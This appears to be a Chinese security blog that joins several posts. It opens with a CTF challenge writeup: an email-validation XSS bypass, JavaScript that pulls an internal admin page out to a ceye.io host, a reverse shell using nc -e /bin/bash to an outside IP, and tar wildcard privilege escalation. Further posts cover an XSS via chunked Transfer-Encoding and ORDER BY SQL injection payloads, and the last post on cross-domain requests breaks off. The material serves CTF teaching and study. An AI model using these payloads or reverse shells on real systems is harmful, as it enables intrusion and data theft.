第九届SWPUCTF邮箱注册出题思路&WriteUP


大四了快毕业了,最后一届的出题,校赛终于圆满了,不得不感叹时间之快,感慨很多。感谢 @小东哥 ,@谢队 等学弟的帮忙。

0x01 出题思路

之前看到一个小trick,FILTER_VALIDATE_EMAIL的可以用"绕过,于是就出了个XSS,后面的tar提权感谢@小东哥 帮忙提供的思路和帮忙搭建环境。
XSS用"绕过函数检测,里面payload可以加载外部js,于是就想着用phantomjs去自动请求内网的资源,让攻击者能用js打到源码,后面就执行内网的命令执行,弹shell过后,继续让攻击者去寻找文件上传和备份的那个地方,上传文件,通过tar *通配符备份提权,获取flag。

0x02 WP

check.php右键发现源码有php

<!--check.php
if($_POST['email']) {
$email = $_POST['email'];
if(!filter_var($email,FILTER_VALIDATE_EMAIL)){
echo "error email, please check your email";
}else{
echo "等待管理员自动审核";
echo $email;
}
}
?>

于是提交payload

"aaa><script/src=http://sp4rk.cn:6324/duyuanma.js</script>"@a.aaa
var a = new XMLHttpRequest();
a.open('GET', 'http://localhost:6324/admin/admin.php', false);
a.send(null);
b = a.responseText;
location.href = 'http://t15em7.ceye.io/d' + escape(b);

image-20181220100024428

可以看到admin/a0a.php下面有个命令执行,于是弹shell

var a = new XMLHttpRequest();
a.open('GET', 'http://localhost:6324/admin/a0a.php?cmd=nc+-e+%2fbin%2fbash+118.89.56.208+6325', false);
a.send(null);
b = a.responseText;
location.href = 'http://t15em7.ceye.io/' + escape(b);

image-20181219224713490

image-20181220100447368

image-20181220100546057

上层的根目录有个4f0a5ead5aef34138fcbf8cf00029e7b,访问下

image-20181220100643707

这里有个上传和备份文件

image-20181220100818270

发现经过tar *处理,于是上传文件

image-20181220101935553

image-20181220103703911

--checkpoint=1

--checkpoint-action=exec=sh exp.sh

exp.sh

nc -e /bin/bash 118.89.56.208 6325

image-20181220103637021


有趣的XSS小记(XSS due to the header Transfer-Encoding: chunked)


0x01 随便说说

早就想更博客了,有点懒就一直没写,最近在进一步的学习网络协议相关的东西,前两天在推特上发现一个有趣的东西,顺便学习了一下http Transfer-Encoding,这里简单的mark记录一下。

0x02 记录

前两天看到一篇推特如下:

这里本地先尝试了一下:

//testbug1.php
<script>var x=<?=json_encode($_GET)?>;</script>

感觉这个好像不可能有XSS,那么既然都发出来了,肯定是能XSS的。。。于是网上搜了下,发现是一个PHP的bug:

XSS due to the header Transfer-Encoding: chunked

这个的大致意思就是说可以利用http的分块编码(chunked)来进行操作,那么chunked这个编码是做什么的呢?它主要是为了解决网络文件等不好获取实体长度的文件的问题,通过使用分块传输编码,数据分解成一系列数据块,并以一个或多个块发送,这样服务器可以发送数据而不需要预先知道发送内容的总大小。
这里将请求包改为POST,加入该字段,再插入XSS就行了。

POST /testbug1.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Transfer-Encoding: chunked
Content-Length: 25

<script>alert(1)</script>


常见的sql注入方式和waf绕过(仅以空格为例)的一些小技巧


朋友分享了一些sql注入和waf绕过的特殊技巧,我这里想简单的记录下......

0x01 order by注入

1. 盲注

1. 布尔

  1. if
select * from user where user_id=1 order by 1-if(substr(version(),1,1)=5,1,(select 1 union select 2));
+-------+-----------+---------+
| user  | password  | user_id |
+-------+-----------+---------+
| admin | admintest |       1 |
+-------+-----------+---------+
1 row in set (0.00 sec)

b.rand

mysql> select rand(true);
+---------------------+
| rand(true)          |
+---------------------+
| 0.40540353712197724 |
+---------------------+
1 row in set (0.00 sec)

mysql> select rand(false);
+---------------------+
| rand(false)         |
+---------------------+
| 0.15522042769493574 |
+---------------------+
1 row in set (0.00 sec)

这里可以利用rand(true) rand(false)的值不同,排序注入后面的顺序也不同

mysql> select * from user order by 1-rand(substr(version(),1,1)=5);
+-------+-----------+---------+
| user  | password  | user_id |
+-------+-----------+---------+
| test  | testadmin |       2 |
| admin | admintest |       1 |
| sp4rk | sp4rktest |       3 |
+-------+-----------+---------+
3 rows in set (0.02 sec)

c.regexp
select * from user order by 1-if(1=(select 1 regexp if(1=1,1,0x00)),1,1);

2 报错注入

select * from user order by 1-updatexml(1,concat(0x5e24,version(),0x5e24),0);
ERROR 1105 (HY000): XPATH syntax error: '^$5.7.22-0ubuntu18.04.1^$'
mysql> select * from user order by 1-extractvalue(1,concat(0x5e24,version(),0x5e24));
ERROR 1105 (HY000): XPATH syntax error: '^$5.7.22-0ubuntu18.04.1^$'

3 延时注入

select * from user order by 1-if(ascii(substr(user(),1,1))=114,sleep(5),0);

4 asc desc处

1.盲注

mysql> select user from user order by user,if(substr(version(),1,1)=5,1,(select 1 union select 2)) desc;
+-------+
| user  |
+-------+
| admin |
| sp4rk |
| test  |
+-------+

报错,延时同上

5 逻辑区别进行排序

mysql> select user from user order by 1-if(1=1,user,user_id);
+-------+
| user  |
+-------+
| admin |
| test  |
| sp4rk |
+-------+
3 rows in set, 3 warnings (0.00 sec)

mysql> select user from user order by 1-if(1=1,user_id,user);
+-------+
| user  |
+-------+
| sp4rk |
| test  |
| admin |
+-------+

payload:    ,if(1=1,user_id,user);
,(case when (1=1) then user_id else user end)
,ifnull(null,user_id)
,rand(1=1)

6利用报错判断

payload:
if(1=1,1,(select 1 union select 2))  正确
if(1=2,1,(select 1 union select 2)) 错误
if(1=1,1,(select 1 from information_schema.tables)) 正确
if(1=2,1,(select 1 from information_schema.tables)) 错误

0x02 limit注入



前端安全--几种跨域方法小记


0x00 前言

同源策略(Same Origin Policy, SOP):是Web应用程序的一种安全模型,它控制了网页中DOM之间的访问(协议,端口,主机名都相同时认为时同源)。
由于同源策略限制了网页间的相互访问,当需要加载外部资源的时候就会用到跨域进行信息的交互。

<html>    
<script>
function loadUrl(uri,callback){  
    if(typeof callback!='function'){  
        callback=function(uri){  
            console.log(uri);  
        }  
    }  
    var xhr = new XMLHttpRequest();  
    xhr.responseType = 'text';  
    xhr.onload = function() {  
        callback(xhr.response);  
    }  
    xhr.open('GET', uri, true);  
    xhr.send();  
}  
  
var url = 'http://sp4rk.cn/test.js';  
loadUrl(url,function(data){  
    alert('test success');
});  
</script>
</html>


1.html中,当我们用XMLHttpRequest正常加载外部资源的时候,可以发现同源策略的限制

0x01 JSONP实现跨域